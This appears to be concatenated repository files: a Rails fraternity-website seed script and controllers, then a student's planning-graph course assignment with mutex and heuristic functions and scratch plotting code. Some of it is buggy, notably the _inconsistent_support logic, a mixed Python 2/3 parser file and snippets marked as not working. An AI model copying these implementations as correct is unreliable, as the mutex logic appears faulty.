role: "Operations Vice President").save
Brother.create(
name: "<NAME>",
role: "External Vice President").save
Brother.create(
name: "<NAME>",
role: "Internal Vice President").save
event = RushEvent.create(
name: "Meet the Chapter",
time: "6:30 PM",
date: "Wednesday, September 2",
location: "Bancroft Hotel",
attire: "Business Casual"
)
event.save
event = RushEvent.create(
name: "Strada Social",
time: "6:30 PM",
date: "Thursday, September 3",
location: "Caffe Strada",
attire: "Campus Social"
)
event.save
event = RushEvent.create(
name: "Personal Interviews",
date: "September 5 & September 6",
subtitle: "By Appointment"
)
event.save
event = RushEvent.create(
name: "Individual Coffee Chats",
subtitle: "By Invitation",
date: "Monday, September 7",
attire: "Campus Casual"
)
event.save
event = RushEvent.create(
name: "Group Interviews",
subtitle: "By Invitation",
date: "Tuesday, September 8th"
)
event.save
event = RushEvent.create(
name: "Final Rush Event",
subtitle: "By Invitation",
date: "Wednesday, September 9",
attire: "Campus Casual"
)
event.save
def getBrother(name)
user = Brother.find_by(name: name)
if user.nil?
user = Brother.create(name: name)
user.save
end
return user
end
def getPledgeClass(name)
pclass = PledgeClass.find_by(name: name)
if pclass.nil?
pclass = PledgeClass.create(name: name)
end
return pclass
end
def getCompany(name)
company = Company.find_by(name: name)
if company.nil?
company = Company.create(name: name)
url = String.new(name)
url.strip
url = url.gsub(" ", "").downcase
if (File.exists?("public/images/companies/" + url + ".jpg"))
company.logo_url = "companies/" + url + ".jpg"
elsif (File.exists?("public/images/companies/" + url + ".png"))
company.logo_url = "companies/" + url + ".png"
else
end
company.save
end
return company
end
def loadActives
CSV.foreach("db/Raw/Actives.csv", :headers => true) do |row|
vals = row.to_hash
name = vals["Name"]
pledgeClassName = vals["Class"]
pledgeClassName.strip!
pledgeClassName = pledgeClassName.downcase
pledgeClass = getPledgeClass(pledgeClassName)
gradYear = (vals["Year"]).to_i
gradDate = DateTime.new gradYear
brother = getBrother(name)
brother.grad_year = gradDate
brother.pledge_class = pledgeClass
brother.active = true
brother.major = vals["Major"]
image_url = brother.to_image_name
if (File.exists? ("public/images/brothers/" + image_url))
brother.image_url = image_url
end
brother.save
end
end
def loadVentures
CSV.foreach("db/Raw/Ventures.csv", :headers => true) do |row|
vals = row.to_hash
name = vals["Company or Project Name"]
company = getCompany(name)
link = vals["website"]
brotherNames = vals["Name(s)"].split("&")
brothers = Array.new(brotherNames.size)
brotherNames.each do |broName|
puts broName
puts name
puts "HELLO +++++++++++++++++++++"
broName = broName.strip
brother = getBrother(broName)
job = Job.create(role: :Founder, category: :Entrepreneurship, company: company, brother: brother)
brother.jobs.push(job)
brothers.push(brother)
end
company.isVenture = true
company.description = vals["Description"]
company.website = vals["Website"]
company.notable = vals["Notable Achievements "]
company.logo_url = vals["Logo"]
if company.logo_url.nil?
url = String.new(name)
url.strip
url = url.gsub(" ", "").downcase
if (File.exists?("public/images/companies/" + url + ".jpg"))
company.logo_url = "companies/" + url + ".jpg"
elsif (File.exists?("public/images/companies/" + url + ".png"))
company.logo_url = "companies/" + url + ".png"
else
company.logo_url = "companies/" + url + ".jpg"
end
end
company.save
end
end
def loadJobs
CSV.foreach("db/Raw/Jobs.csv", :headers => true) do |row|
vals = row.to_hash
brotherName = vals["Name"]
companyName = vals["Company"]
role = vals["Position"]
location = vals["Location"]
category = vals["Category"]
brother = getBrother(brotherName)
company = getCompany(companyName)
job = Job.create(role: role, location: location, category: category, brother: brother, company: company)
job.save
end
end
def loadTestimonials
CSV.foreach("db/Raw/Testimonials.csv", :headers => true) do |row|
vals = row.to_hash
name = vals["Name"]
role = vals["Role"]
top = vals["Top"]
image = "group/" + vals["Image"]
text = vals["Text"]
puts text
testimonial = Testimonial.create(author: name, author_role: role, verticle_alignment: top, image_url: image, text: text)
testimonial.save
end
end
loadActives
loadVentures
loadJobs
loadTestimonials<file_sep>/test/controllers/rush_event_controller_test.rb
require 'test_helper'
class RushEventControllerTest < ActionController::TestCase
test "should get application" do
get :application
assert_response :success
end
test "should get events" do
get :events
assert_response :success
end
end
<file_sep>/app/controllers/rush_event_controller.rb
class RushEventController < ApplicationController
def application
end
def events
@events = RushEvent.all
end
private
def rush_event_params
params.require(:rush_event).permit(:name, :attire, :description, :custom_date_text, :subtitle, :time, :location)
end
end
<file_sep>/app/models/job.rb
class Job < ActiveRecord::Base
belongs_to :company
belongs_to :brother
end
<file_sep>/app/models/company.rb
class Company < ActiveRecord::Base
has_many :jobs
has_many :brothers, through: :jobs
end
<file_sep>/app/views/brothers/parse.py
class TextObject(object):
def __init__(self):
self.children = [];
self.dependencies = [];
self.parent = None;
self.order = None;
self.depth = self.__class__.t_type;;
self.t_type = self.__class__.t_type;
self.parent_type = self.__class__.parent_type; # For Proposition should be Part
class Book(TextObject):
t_type = "BOOK"
depth = 0;
parent_type = None
class Part(TextObject):
t_type = "PART"
depth = 1;
parent_type = "BOOK"
class Definition(TextObject):
t_type = "DEFINITION"
depth = 2
parent_type = "PART"
class Axiom(TextObject):
t_type = "AXIOM"
depth = 2
parent_type = "PART"
class Proposition(TextObject):
t_type = "PROPOSITION"
depth = 2
parent_type = "PART"
class Proof(TextObject):
t_type = "PROOF"
depth = 3
parent_type = "PROPOSITION"
class Corollary(TextObject):
t_type = "COROLLARY"
depth = 3
parent_type = "PROPOSITION"
class Note(TextObject):
t_type = "NOTE"
depth = 3
parent_type = "PROPOSITION"
t_type_classes = {"BOOK":Book, "PART":Part, "DEFINITION":Definition, \
"AXIOM":Axiom, "PROPOSITION":Proposition, "PROOF":Proof, "COROLLARY":Corollary, "NOTE":Note};
def create_from_type(t_type):
if t_type in t_type_classes:
ans = t_type_classes[t_type]();
return ans;
else:
return None
import html.parser;
class MyHTMLParser(HTMLParser):
# def handle_starttag(self, tag, attrs):
# print "Encountered a start tag:", tag
# def handle_endtag(self, tag):
# print "Encountered an end tag :", tag
def handle_data(self, data):
print "Encountered some data :", data
# instantiate the parser and fed it some HTML
parser = MyHTMLParser()
parser.feed('<html><head><title>Test</title></head>'
'<body><h1>Parse me!</h1></body></html>')
<file_sep>/db/migrate/20150106034029_create_pledge_classes.rb
class CreatePledgeClasses < ActiveRecord::Migration
def change
create_table :pledge_classes do |t|
t.string :name
t.date :pledge_semester
t.references :brothers
t.references :professional_event
t.boolean :is_best_pledge_class
t.timestamps null: false
end
end
end
| ef693d5c7b0e40a03762237231d5c2d8f0ddb3b2 | [
"Python",
"Ruby"
] | 16 | Ruby | Aryan-Barbarian/sep-website | cc4f9a512c1074ad635d14043deed15e0db42a82 | 3245badce1e1151eef01de7c85fb1a04914b9501 |
refs/heads/master | <file_sep>
from itertools import chain, combinations
from aimacode.planning import Action
from aimacode.utils import expr
from layers import BaseActionLayer, BaseLiteralLayer, makeNoOp, make_node
# my imports
from layers import ActionNode
#import io
class ActionLayer(BaseActionLayer):
def _inconsistent_effects(self, actionA, actionB):
""" Return True if an effect of one action negates an effect of the other
See Also
--------
layers.ActionNode
"""
# TODO: implement this function
# check 'effect' vs 'effect'
debug1 = False
debug2 = False
try:
# test exception log by code error
# aaa
if debug1:
MyHelper.log('function _inconsistent_effects()')
for exprEffectA in actionA.effects:
# Effect of Action A
effectA = str(exprEffectA)
# Not (Effect of Action A)
notEffectA = MyHelper.strNegExpr(effectA)
if debug1:
MyHelper.log('effectA='+effectA)
MyHelper.log('notEffectA='+notEffectA)
for exprEffectB in actionB.effects:
# Effect of Action B
effectB = str(exprEffectB)
# Not (Effect of Action B)
notEffectB = MyHelper.strNegExpr(effectB)
if debug1:
MyHelper.log('effectB='+effectB)
MyHelper.log('notEffectB='+notEffectB)
if effectA == notEffectB or notEffectA == effectB:
if debug2:
MyHelper.log('Found mutex in _inconsistent_effects: ')
MyHelper.log('actionA.effects = ' + str(actionA.effects))
MyHelper.log('actionA.expr = ' + str(actionA.expr))
MyHelper.log('actionB.effects = ' + str(actionB.effects))
MyHelper.log('actionB.expr = ' + str(actionB.expr))
MyHelper.log('----------')
return True
except Exception as ex:
MyHelper.log_exception('Exception in _inconsistent_effects:', ex)
return False
return False
def _interference(self, actionA, actionB):
""" Return True if the effects of either action negate the preconditions of the other
See Also
--------
layers.ActionNode
"""
# TODO: implement this function
# check 'effect' vs 'precondition'
debug1 = False
debug2 = False
try:
# 1. Action A Effects vs Action B Precondition
for exprEffectA in actionA.effects:
# Effect of Action A
effectA = str(exprEffectA)
# Not (Effect of Action A)
notEffectA = MyHelper.strNegExpr(effectA)
if debug1:
MyHelper.log('function _interference()')
MyHelper.log('effectA='+effectA)
MyHelper.log('notEffectA='+notEffectA)
for exprPreConB in actionB.preconditions:
# Precondition of Action B
preConB = str(exprPreConB)
# Not Precondition of Action B
notPreConB = MyHelper.strNegExpr(preConB)
if debug1:
MyHelper.log('preConB='+preConB)
MyHelper.log('notPreConB='+notPreConB)
# compare
if effectA == notPreConB or notEffectA == preConB:
if debug2:
MyHelper.log('Found mutex in _interference: ')
MyHelper.log('Action A Effects vs Action B Precondition')
MyHelper.log('actionA.preconditions = ' + str(actionA.preconditions))
MyHelper.log('actionA.effects = ' + str(actionA.effects))
MyHelper.log('actionA.expr = ' + str(actionA.expr))
MyHelper.log('actionB.preconditions = ' + str(actionB.preconditions))
MyHelper.log('actionB.effects = ' + str(actionB.effects))
MyHelper.log('actionB.expr = ' + str(actionB.expr))
MyHelper.log('----------')
return True
# 2. Action B Effects vs Action A Precondition
for exprEffectB in actionB.effects:
# Effect of Action B
effectB = str(exprEffectB)
# Not (Effect of Action B)
notEffectB = MyHelper.strNegExpr(effectB)
if debug1:
MyHelper.log('effectB='+effectB)
MyHelper.log('notEffectB='+notEffectB)
for exprPreConA in actionA.preconditions:
# Precondition of Action A
preConA = str(exprPreConA)
# Not (Precondition of Action A)
notPreConA = MyHelper.strNegExpr(preConA)
if debug1:
MyHelper.log('preConA='+preConA)
MyHelper.log('notPreConA='+notPreConA)
# compare
if effectB == notPreConA or notEffectB == preConA:
if debug2:
MyHelper.log('Found mutex in _interference: ')
MyHelper.log('Action B Effects vs Action A Precondition')
MyHelper.log('actionA.preconditions = ' + str(actionA.preconditions))
MyHelper.log('actionA.effects = ' + str(actionA.effects))
MyHelper.log('actionA.expr = ' + str(actionA.expr))
MyHelper.log('actionB.preconditions = ' + str(actionB.preconditions))
MyHelper.log('actionB.effects = ' + str(actionB.effects))
MyHelper.log('actionB.expr = ' + str(actionB.expr))
MyHelper.log('----------')
return True
except Exception as ex:
MyHelper.log_exception('Exception in _interference:', ex)
return False
return False
def _competing_needs(self, actionA, actionB):
""" Return True if any preconditions of the two actions are pairwise mutex in the parent layer
See Also
--------
layers.ActionNode
layers.BaseLayer.parent_layer
"""
# TODO: implement this function
# check A parent layer 'precondition' vs B parent layer 'precondition'
debug1 = False
debug2 = False
try:
if debug1:
MyHelper.log('function _competing_needs()')
MyHelper.log('actionA='+str(actionA))
MyHelper.log('self.parent_layer='+str(self.parent_layer))
MyHelper.log('self.parent_layer.parents='+str(self.parent_layer.parents))
MyHelper.log('self.parent_layer.children='+str(self.parent_layer.children))
# each layer have property __iter__
# which allow direct looping layer object for its __store(items)
for literal in self.parent_layer:
MyHelper.log('literal='+str(literal))
MyHelper.log('len(self.parent_layer)='+str(len(self.parent_layer)))
MyHelper.log('----------')
for preA in actionA.preconditions:
for preB in actionB.preconditions:
if self.parent_layer.is_mutex(preA, preB) or self.parent_layer.is_mutex(preB, preA):
if debug2:
MyHelper.log('Found mutex in _competing_needs: ')
MyHelper.log('actionA.preconditions = ' + str(actionA.preconditions))
MyHelper.log('actionA.expr = ' + str(actionA.expr))
MyHelper.log('actionB.preconditions = ' + str(actionB.preconditions))
MyHelper.log('actionB.expr = ' + str(actionB.expr))
MyHelper.log('----------')
return True
except Exception as ex:
MyHelper.log_exception('Exception in _competing_needs:', ex)
return False
return False
class MyHelper():
def log_clear(self):
with open('logs.txt', 'w') as f:
f.write('')
f.close()
def log(text):
try:
# a = append text
with open('logs.txt', 'a') as f:
f.write(str(text)+'\n')
f.close()
except Exception as ex:
MyHelper.log_exception('Exception in MyHelper.log:', ex)
def log_exception(heading, ex):
MyHelper.log(heading)
MyHelper.log('Type: '+str(type(ex)))
MyHelper.log('Args: '+str(ex.args))
MyHelper.log('Exception: '+str(ex))
MyHelper.log('----------')
def strNegExpr(expr):
expr = str(expr)
if expr[0] == '~':
notExpr = str(expr[1:])
else:
notExpr = '~'+expr
return notExpr
# testing helper class
#MyHelper.strNegExpr('have(cake)')
#MyHelper.strNegExpr('~have(cake)')
# works
class LiteralLayer(BaseLiteralLayer):
def _inconsistent_support(self, literalA, literalB):
""" Return True if all ways to achieve both literals are pairwise mutex in the parent layer
See Also
--------
layers.BaseLayer.parent_layer
"""
# TODO: implement this function
# check all mutex of pairs of A parents and B parents
debug1 = False
debug2 = False
try:
if debug1:
MyHelper.log('function _inconsistent_support()')
MyHelper.log('type(literalA)='+str(type(literalA)))
MyHelper.log('literalA='+str(literalA))
MyHelper.log('type(literalB)='+str(type(literalB)))
MyHelper.log('literalB='+str(literalB))
MyHelper.log('self.parents='+str(self.parents))
for item in self:
MyHelper.log('self.item='+str(item))
# get a list of parents where effects (childrens) is literalA or literalB
parent_list = []
for parent_action in self.parent_layer:
# parent_action is already an instance of class ActionNode
# type(parent_action) is <class 'layers.ActionNode'>
if literalA in parent_action.effects or literalB in parent_action.effects:
parent_list.append(parent_action)
if debug2:
if(len(parent_list) > 0):
MyHelper.log('literalA + literalB parent_list='+str(parent_list))
# logic
# if all mutex, return True
# if one pair is not mutex, return False
is_pair_mutex = False
for parentA in parent_list:
for parentB in parent_list:
if parentA == parentB:
continue
is_pair_mutex = False
if self.parent_layer.is_mutex(parentA, parentB) or self.parent_layer.is_mutex(parentB, parentA):
if debug2:
MyHelper.log('Found mutex in _inconsistent_support: ')
MyHelper.log('parentA = ' + str(parentA))
MyHelper.log('parentB = ' + str(parentB))
MyHelper.log('----------')
is_pair_mutex = True
# if one pair is not mutex, return immediately to save processing time
if is_pair_mutex == False:
break
# if one pair is not mutex, return immediately to save processing time
if is_pair_mutex == False:
break
# if all pairs are mutex, return True
all_pairs_mutex = is_pair_mutex
if all_pairs_mutex:
return True
else:
return False
except Exception as ex:
MyHelper.log_exception('Exception in _inconsistent_support:', ex)
return False
return False
def _negation(self, literalA, literalB):
""" Return True if two literals are negations of each other """
# TODO: implement this function
# check A is ~B and B is ~A
debug1 = False
debug2 = False
try:
LiteralA = str(literalA)
LiteralB = str(literalB)
notLiteralA = MyHelper.strNegExpr(LiteralA)
notLiteralB = MyHelper.strNegExpr(LiteralB)
if debug1:
MyHelper.log('function _negation()')
MyHelper.log('LiteralA='+str(LiteralA))
MyHelper.log('LiteralB='+str(LiteralB))
MyHelper.log('notLiteralA='+str(notLiteralA))
MyHelper.log('notLiteralB='+str(notLiteralB))
if LiteralA == notLiteralB and LiteralB == notLiteralA:
if debug2:
MyHelper.log('Found mutex in _negation')
MyHelper.log('literalA=' + str(literalA)) # e.g. Have(Cake)
MyHelper.log('literalB=' + str(literalB)) # e.g. Have(Cake)
MyHelper.log('----------')
return True
except Exception as ex:
MyHelper.log_exception('Exception in _negation:', ex)
return False
return False
class PlanningGraph:
def __init__(self, problem, state, serialize=True, ignore_mutexes=False):
"""
Parameters
----------
problem : PlanningProblem
An instance of the PlanningProblem class
state : tuple(bool)
An ordered sequence of True/False values indicating the literal value
of the corresponding fluent in problem.state_map
serialize : bool
Flag indicating whether to serialize non-persistence actions. Actions
should NOT be serialized for regression search (e.g., GraphPlan), and
_should_ be serialized if the planning graph is being used to estimate
a heuristic
"""
self._serialize = serialize
self._is_leveled = False
self._ignore_mutexes = ignore_mutexes
self.goal = set(problem.goal)
# make no-op actions that persist every literal to the next layer
no_ops = [make_node(n, no_op=True) for n in chain(*(makeNoOp(s) for s in problem.state_map))]
self._actionNodes = no_ops + [make_node(a) for a in problem.actions_list]
# initialize the planning graph by finding the literals that are in the
# first layer and finding the actions they they should be connected to
literals = [s if f else ~s for f, s in zip(state, problem.state_map)]
layer = LiteralLayer(literals, ActionLayer(), self._ignore_mutexes)
layer.update_mutexes()
self.literal_layers = [layer]
self.action_layers = []
# helper function used by two other functions: MaxLevel, LevelSum
def h_levelcost(self, goal):
debug1 = False
debug2 = False
try:
# scan level
level = 0
for layer in self.literal_layers:
if debug1:
MyHelper.log('function h_levelcost()')
# loop to see literals in layer
for literal in layer:
MyHelper.log('layer.literal=' + str(literal))
MyHelper.log('type(layer) = '+str(type(layer))) # <class 'my_planning_graph.LiteralLayer'>
MyHelper.log('goal = '+str(goal))
MyHelper.log('type(goal) = '+str(type(goal)))
layer_set = set(list(layer))
MyHelper.log('type(layer_set) = '+str(type(layer_set)))
MyHelper.log('layer_set = '+str(layer_set))
MyHelper.log('----------')
# convert layer from object to set to use set build-in functions issubset() or issuperset()
layer_set = set(list(layer))
if set([goal]).issubset(layer_set):
if debug2:
MyHelper.log('Found level for goal in h_levelcost = '+str(level))
MyHelper.log('----------')
break
level += 1
return level
except Exception as ex:
MyHelper.log_exception('Exception in h_levelcost:', ex)
return None
return None
def h_levelsum(self):
""" Calculate the level sum heuristic for the planning graph
The level sum is the sum of the level costs of all the goal literals
combined. The "level cost" to achieve any single goal literal is the
level at which the literal first appears in the planning graph. Note
that the level cost is **NOT** the minimum number of actions to
achieve a single goal literal.
For example, if Goal_1 first appears in level 0 of the graph (i.e.,
it is satisfied at the root of the planning graph) and Goal_2 first
appears in level 3, then the levelsum is 0 + 3 = 3.
Hints
-----
- See the pseudocode folder for help on a simple implementation
- You can implement this function more efficiently than the
sample pseudocode if you expand the graph one level at a time
and accumulate the level cost of each goal rather than filling
the whole graph at the start.
See Also
--------
Russell-Norvig 10.3.1 (3rd Edition)
"""
# TODO: implement this function
debug1 = False
debug2 = False
try:
self.fill() # extend to maximum layers
# total goal level add up
level_sum = 0
# next goal level
level = 0
# loop goals, get level of each goal one by one
for goal in self.goal:
if debug1:
MyHelper.log('function h_levelsum()')
MyHelper.log('goal = '+str(goal))
MyHelper.log('----------')
level = self.h_levelcost(goal)
level_sum += level
if debug2:
MyHelper.log('level_sum in h_levelsum = '+str(level_sum))
MyHelper.log('----------')
return level_sum
except Exception as ex:
MyHelper.log_exception('Exception in h_levelsum:', ex)
return None
return None
# Max Level function version 1, superseded by improved version below
def h_maxlevel_v1(self):
""" Calculate the max level heuristic for the planning graph
The max level is the largest level cost of any single goal fluent.
The "level cost" to achieve any single goal literal is the level at
which the literal first appears in the planning graph. Note that
the level cost is **NOT** the minimum number of actions to achieve
a single goal literal.
For example, if Goal1 first appears in level 1 of the graph and
Goal2 first appears in level 3, then the levelsum is max(1, 3) = 3.
Hints
-----
- See the pseudocode folder for help on a simple implementation
- You can implement this function more efficiently if you expand
the graph one level at a time until the last goal is met rather
than filling the whole graph at the start.
See Also
--------
Russell-Norvig 10.3.1 (3rd Edition)
Notes
-----
WARNING: you should expect long runtimes using this heuristic with A*
"""
# TODO: implement maxlevel heuristic
debug1 = False
debug2 = False
try:
self.fill() # extend graph until level off, maximum layers
# cost of achieving each goal
costs = []
# loop goals, get level of each goal one by one
for goal in self.goal:
if debug1:
MyHelper.log('function h_maxlevel()')
MyHelper.log('self.goal = '+str(self.goal))
MyHelper.log('----------')
cost = self.h_levelcost(goal)
if debug2:
MyHelper.log('Goal cost in h_maxlevel = '+str(cost))
MyHelper.log('----------')
costs.append(cost)
return max(costs)
except Exception as ex:
MyHelper.log_exception('Exception in h_maxlevel:', ex)
return None
return None
# Heuristics.md - Improve Efficiency on function h_maxlevel(), decreased time by about 1s in unit test
def h_maxlevel(self):
""" Calculate the max level heuristic for the planning graph
The max level is the largest level cost of any single goal fluent.
The "level cost" to achieve any single goal literal is the level at
which the literal first appears in the planning graph. Note that
the level cost is **NOT** the minimum number of actions to achieve
a single goal literal.
For example, if Goal1 first appears in level 1 of the graph and
Goal2 first appears in level 3, then the levelsum is max(1, 3) = 3.
Hints
-----
- See the pseudocode folder for help on a simple implementation
- You can implement this function more efficiently if you expand
the graph one level at a time until the last goal is met rather
than filling the whole graph at the start.
See Also
--------
Russell-Norvig 10.3.1 (3rd Edition)
Notes
-----
WARNING: you should expect long runtimes using this heuristic with A*
"""
# TODO: implement maxlevel heuristic
debug1 = False
debug2 = False
try:
# extend graph by 1 level, for faster results
# self.fill(1) # alternative way to extend graph level by 1
# self._extend()
# max level of achieving all goals
level = 0
if debug1:
MyHelper.log('function h_maxlevel()')
while not self._is_leveled:
all_goals_met = True
# get last literal layer
last_literal_layer = self.literal_layers[-1]
if debug1:
MyHelper.log('literal layers length = '+(str(len(self.literal_layers))))
MyHelper.log('last_literal_layer = '+str(last_literal_layer))
# loop goals, get level of each goal one by one
for goal in self.goal:
if debug1:
MyHelper.log('self.goal = '+str(self.goal))
MyHelper.log('level = '+str(level))
MyHelper.log('----------')
if goal not in last_literal_layer:
all_goals_met = False
break
if all_goals_met:
if debug2:
MyHelper.log('All Goals met at level in h_maxlevel = '+str(level))
MyHelper.log('----------')
return level
else:
if debug2:
MyHelper.log('graph extend by 1, at level '+str(level))
self._extend()
level += 1
return None
except Exception as ex:
MyHelper.log_exception('Exception in h_maxlevel:', ex)
return None
return None
def h_setlevel(self):
""" Calculate the set level heuristic for the planning graph
The set level of a planning graph is the first level where all goals
appear such that no pair of goal literals are mutex in the last
layer of the planning graph.
Hints
-----
- See the pseudocode folder for help on a simple implementation
- You can implement this function more efficiently if you expand
the graph one level at a time until you find the set level rather
than filling the whole graph at the start.
See Also
--------
Russell-Norvig 10.3.1 (3rd Edition)
Notes
-----
WARNING: you should expect long runtimes using this heuristic on complex problems
"""
# TODO: implement setlevel heuristic
# find all goals exist together in one single layer, and all goals are not mutex
debug1 = False
debug2 = False
try:
if debug1:
MyHelper.log('function h_setlevel()')
self.fill() # extend graph until level off, maximum layers
level = 0
# scan layer one by one
for layer in self.literal_layers:
# convert layer from object to set to use set build-in functions issubset() or issuperset()
layer_set = set(list(layer))
# 1. find all goals exist together in one single layer
# method 1 - one liner, check all goals is subset of the layer literals
all_goals_met = self.goal.issubset(layer_set)
# method 2 - loop goal one by one (not used)
# all_goals_met = True
#
# # loop goals one by one
# for goal in self.goal:
# if debug1:
# MyHelper.log('goal = '+str(goal))
# MyHelper.log('----------')
#
# if not set([goal]).issubset(layer_set):
# if debug2:
# MyHelper.log('Goal is not found in layer in h_setlevel = '+str(goal))
#
# all_goals_met = False
#
# # break goal loop, but continue scan on next layer
# break
# if not found all the goals in one layer, continue to scan the next layer
if all_goals_met == False:
level += 1
continue
else:
if debug2:
MyHelper.log('all_goals_met = '+str(True))
# 2. if all goals met in one layer, then all goals need to be not mutex
goals_are_mutex = False
for goal1 in self.goal:
for goal2 in self.goal:
# not check same goal
if goal1 is goal2:
continue
if layer.is_mutex(goal1, goal2) or layer.is_mutex(goal2, goal1):
goals_are_mutex = True
break;
if goals_are_mutex:
break
# 3. if no mutex found, return layer level index
if not goals_are_mutex:
if debug2:
MyHelper.log('goals_are_mutex = '+str(False))
MyHelper.log('found level = '+str(level))
MyHelper.log('----------')
return level
if debug2:
MyHelper.log('----------')
level += 1
return None
except Exception as ex:
MyHelper.log_exception('Exception in h_setlevel:', ex)
return None
return None
##############################################################################
# DO NOT MODIFY CODE BELOW THIS LINE #
##############################################################################
def fill(self, maxlevels=-1):
""" Extend the planning graph until it is leveled, or until a specified number of
levels have been added
Parameters
----------
maxlevels : int
The maximum number of levels to extend before breaking the loop. (Starting with
a negative value will never interrupt the loop.)
Notes
-----
YOU SHOULD NOT THIS FUNCTION TO COMPLETE THE PROJECT, BUT IT MAY BE USEFUL FOR TESTING
"""
while not self._is_leveled:
if maxlevels == 0: break
self._extend()
maxlevels -= 1
return self
def _extend(self):
""" Extend the planning graph by adding both a new action layer and a new literal layer
The new action layer contains all actions that could be taken given the positive AND
negative literals in the leaf nodes of the parent literal level.
The new literal layer contains all literals that could result from taking each possible
action in the NEW action layer.
"""
if self._is_leveled: return
parent_literals = self.literal_layers[-1]
parent_actions = parent_literals.parent_layer
action_layer = ActionLayer(parent_actions, parent_literals, self._serialize, self._ignore_mutexes)
literal_layer = LiteralLayer(parent_literals, action_layer, self._ignore_mutexes)
for action in self._actionNodes:
# actions in the parent layer are skipped because are added monotonically to planning graphs,
# which is performed automatically in the ActionLayer and LiteralLayer constructors
if action not in parent_actions and action.preconditions <= parent_literals:
action_layer.add(action)
literal_layer |= action.effects
# add two-way edges in the graph connecting the parent layer with the new action
parent_literals.add_outbound_edges(action, action.preconditions)
action_layer.add_inbound_edges(action, action.preconditions)
# # add two-way edges in the graph connecting the new literaly layer with the new action
action_layer.add_outbound_edges(action, action.effects)
literal_layer.add_inbound_edges(action, action.effects)
action_layer.update_mutexes()
literal_layer.update_mutexes()
self.action_layers.append(action_layer)
self.literal_layers.append(literal_layer)
self._is_leveled = literal_layer == action_layer.parent_layer
<file_sep>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Test code for AIND project 2
"""
##################################
### python simple test
##################################
# 1. append text to text file
# append text to end of text file
#with open('test.txt', 'a') as f:
# f.write('aaa\n')
# works
# 2. get object properties
#a = [1, 2, 3]
#dir(a)
# works
#from layers import ActionNode
#dir(ActionNode)
# works
# 3. .op[3:]
#aaa = ['a','b','c','d','e','f']
#aaa.op[3:]
#dont work
# 4. get properties of Expr
#from aimacode.utils import expr
#dir(expr)
# works
# 5. test a set in another set
#setA = {1}
#setB = {1, 2}
#print (setA.issubset(setB)) #True
#print (setB.issuperset(setA)) #True
# works
# 6. get max value in a list
#numbers = [2,5,1,9,6]
#print (str(max(numbers))) # 9
# works
# 7. get last item
#numbers = [1,2,3,4,5]
#print (numbers[-1])
# works
# 8. loop list with index
#data = ['a', 'b', 'c']
#for i, d in enumerate(data):
# print (i, d)
# works
# 9. log high skewed values
import pandas as pd
import numpy as np
data = [[0,1,2,3,4,5,6,7,8,9], [10**0,10**1,10**2,10**3,10**4,10**5,10**6,10**7,10**8,10**9]]
data = np.array(data)
print (data)
# rows -> columns
data = np.transpose(data)
print (data)
# log data
data = np.log(data)
print (data)
# dataflame ti use plot()
df = pd.DataFrame(data)
df.columns = ['index', 'values']
#set index
df.set_index('index', inplace=True)
df.plot()
# 10. multi bar bar charts
# example online
import numpy as np
import matplotlib.pyplot as plt
# data to plot
n_groups = 4
means_frank = (90, 55, 40, 65)
means_guido = (85, 62, 54, 20)
# create plot
fig, ax = plt.subplots()
index = np.arange(n_groups)
bar_width = 0.35
opacity = 0.8
rects1 = plt.bar(index, means_frank, bar_width,
alpha=opacity,
color='b',
label='Frank')
rects2 = plt.bar(index + bar_width, means_guido, bar_width,
alpha=opacity,
color='g',
label='Guido')
plt.xlabel('Person')
plt.ylabel('Scores')
plt.title('Scores by person')
plt.xticks(index + bar_width, ('A', 'B', 'C', 'D'))
plt.legend()
plt.tight_layout()
plt.show()
########################
# seaborn try - dont work
import seaborn as sns
sns.set(style='whitegrid')
g = sns.factorplot(x='Actions', y='Expansions', data=x1, size=1, kind='bar', palette='muted')
g.despine(left=True)
g.set_ylabels('number')
########################
# dataframe simple pie chart - works
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
pie_data = [1, 2, 3]
df = pd.DataFrame(pie_data)
df.columns = ['Numbers']
df.plot(kind='pie', subplots=True)
#####################################
# multi bars bar chart on result data
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
# graph functions, shared between each report requirements
def custom_log_data(data, col1_max, col2_max):
# e.g.
# convert expansion values to 0 -> max actions, so top action and top expansion values are the same
# data = data / max_expansions * max_actions
data = data / col2_max * col1_max
return data
def plot_multi_barchart(data, columns, title, xlabel, ylabel, xticks_labels, y_highest_value):
# set figure width and height
fig = plt.figure(figsize=(8,5))
# graph can have more than one subplot, but we only have one this time
ax = fig.add_subplot(111)
# index of each algo
number_of_search_algo = len(data)
n = number_of_search_algo
index = np.arange(n)
# graph visual settings
bar_width = 0.3
opacity = 0.9
# add a set of bars
for i, col in enumerate(columns):
bars = plt.bar(left=index+bar_width*i,
height=data[col],
width=bar_width,
label=col,
align='center',
alpha=opacity)
# grid lines
ax.set_axisbelow(True)
ax.grid()
# stretch graph
# ax.axes([0,2,1,1])
#y axis limit min max
plt.ylim((0, y_highest_value+20))
# plt.ylim((0, 200))
# labels
plt.xlabel(xlabel)
plt.ylabel(ylabel)
plt.title(title)
plt.xticks(index + bar_width/2, xticks_labels, rotation='vertical')
plt.legend()
# layout all compacted and not cropped
plt.tight_layout()
# render
plt.show()
def plot_multi_barchart_twobar(data, columns, title, xlabel, ylabel):
# set figure width and height
fig = plt.figure(figsize=(8,5))
ax1 = None
ax2 = None
# graph visual settings
bar_width = 0.3
opacity = 0.9
colors = ['orange', 'lightblue', 'lightgreen', 'lightpurple']
# add a set of bars - max 2 bars for now, not tested with three bars
for i, col in enumerate(columns):
# 1st bar
if i == 0:
ax1 = fig.add_subplot(111)
data[col].plot(kind='bar', color=colors[i], ax=ax1, width=bar_width, position=(2-i), label=col, alpha=opacity)
ax1.set_ylabel(col)
ax1.legend(loc=2)
# grid lines
ax1.set_axisbelow(True)
ax1.grid()
# 2nd bar
else:
ax2 = ax1.twinx() # add another axis share the same x-axis
data[col].plot(kind='bar', color=colors[i], ax=ax2, width=bar_width, position=(2-i), label=col, alpha=opacity)
ax2.set_ylabel(col)
ax2.legend(loc=1)
# grid lines
# ax1.set_axisbelow(True)
# ax1.grid()
# labels
plt.xlabel(xlabel)
# plt.ylabel(ylabel)
plt.title(title)
# layout all compacted and not cropped
plt.tight_layout()
# render
plt.show()
def handle_data(df):
number_of_search_algo = 11
n = number_of_search_algo
# air cargo problem 1
acp1 = df[:n]
# air cargo problem 2
acp2 = df[n:n*2]
# air cargo problem 3
acp3 = df[n*2:n*3]
# air cargo problem 4
acp4 = df[n*3:n*4]
